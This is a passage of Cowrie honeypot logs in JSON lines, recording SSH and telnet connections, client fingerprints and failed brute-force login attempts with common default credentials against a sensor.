af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:28.326347Z","src_ip":"170.79.37.88","session":"bdc48df28626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"faxserver","password":"faxserver","message":"login attempt [faxserver/faxserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:28.756630Z","src_ip":"170.79.37.88","session":"bdc48df28626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43574,"dst_ip":"159.203.135.109","dst_port":22,"session":"1297f5eb1c1d","protocol":"ssh","message":"New connection: 192.109.200.78:43574 (159.203.135.109:22) [session: 1297f5eb1c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:29.236280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:29.241189Z","src_ip":"192.109.200.78","session":"1297f5eb1c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:29.330042Z","src_ip":"192.109.200.78","session":"1297f5eb1c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:29.698101Z","src_ip":"192.109.200.78","session":"1297f5eb1c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:29.859542Z","src_ip":"170.79.37.88","session":"bdc48df28626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.98.175","src_port":47566,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ed2337716f","protocol":"telnet","message":"New connection: 41.90.98.175:47566 (159.203.135.109:23) [session: 66ed2337716f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:30.159860Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:30.790112Z","src_ip":"192.109.200.78","session":"1297f5eb1c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43590,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f299a7d311c","protocol":"ssh","message":"New connection: 192.109.200.78:43590 (159.203.135.109:22) [session: 8f299a7d311c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:33.416860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:33.422313Z","src_ip":"192.109.200.78","session":"8f299a7d311c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:33.507513Z","src_ip":"192.109.200.78","session":"8f299a7d311c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:33.760629Z","src_ip":"192.109.200.78","session":"8f299a7d311c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39176,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6dcf52ca8b7","protocol":"ssh","message":"New connection: 159.203.92.129:39176 (159.203.135.109:22) [session: d6dcf52ca8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:34.617233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:34.622526Z","src_ip":"159.203.92.129","session":"d6dcf52ca8b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:34.635495Z","src_ip":"159.203.92.129","session":"d6dcf52ca8b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Root","password":"123456","message":"login attempt [Root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:34.652925Z","src_ip":"159.203.92.129","session":"d6dcf52ca8b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:34.955353Z","src_ip":"192.109.200.78","session":"8f299a7d311c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:35.705597Z","src_ip":"159.203.92.129","session":"d6dcf52ca8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43602,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c77644af66e","protocol":"ssh","message":"New connection: 192.109.200.78:43602 (159.203.135.109:22) [session: 0c77644af66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:37.692497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:37.697841Z","src_ip":"192.109.200.78","session":"0c77644af66e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:37.781384Z","src_ip":"192.109.200.78","session":"0c77644af66e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:38.031956Z","src_ip":"192.109.200.78","session":"0c77644af66e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:39.117995Z","src_ip":"192.109.200.78","session":"0c77644af66e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49160,"dst_ip":"159.203.135.109","dst_port":22,"session":"209569463f72","protocol":"ssh","message":"New connection: 192.109.200.78:49160 (159.203.135.109:22) [session: 209569463f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:41.868859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:41.874018Z","src_ip":"192.109.200.78","session":"209569463f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:41.957646Z","src_ip":"192.109.200.78","session":"209569463f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:42.506551Z","src_ip":"192.109.200.78","session":"209569463f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.912132740020752,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:43.071838Z","src_ip":"41.90.98.175","session":"66ed2337716f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:43.594433Z","src_ip":"192.109.200.78","session":"209569463f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49172,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab9dcb9e76eb","protocol":"ssh","message":"New connection: 192.109.200.78:49172 (159.203.135.109:22) [session: ab9dcb9e76eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:46.147454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:46.152375Z","src_ip":"192.109.200.78","session":"ab9dcb9e76eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:46.236111Z","src_ip":"192.109.200.78","session":"ab9dcb9e76eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:46.488321Z","src_ip":"192.109.200.78","session":"ab9dcb9e76eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:47.573034Z","src_ip":"192.109.200.78","session":"ab9dcb9e76eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37048,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2839c712627","protocol":"ssh","message":"New connection: 192.109.200.78:37048 (159.203.135.109:22) [session: b2839c712627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:50.178412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:50.184007Z","src_ip":"192.109.200.78","session":"b2839c712627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:50.265959Z","src_ip":"192.109.200.78","session":"b2839c712627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:50.643682Z","src_ip":"192.109.200.78","session":"b2839c712627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:51.732369Z","src_ip":"192.109.200.78","session":"b2839c712627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37058,"dst_ip":"159.203.135.109","dst_port":22,"session":"47c308a78840","protocol":"ssh","message":"New connection: 192.109.200.78:37058 (159.203.135.109:22) [session: 47c308a78840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:54.299368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:54.303757Z","src_ip":"192.109.200.78","session":"47c308a78840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:54.387441Z","src_ip":"192.109.200.78","session":"47c308a78840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:54.643881Z","src_ip":"192.109.200.78","session":"47c308a78840","protocol":"ssh"}
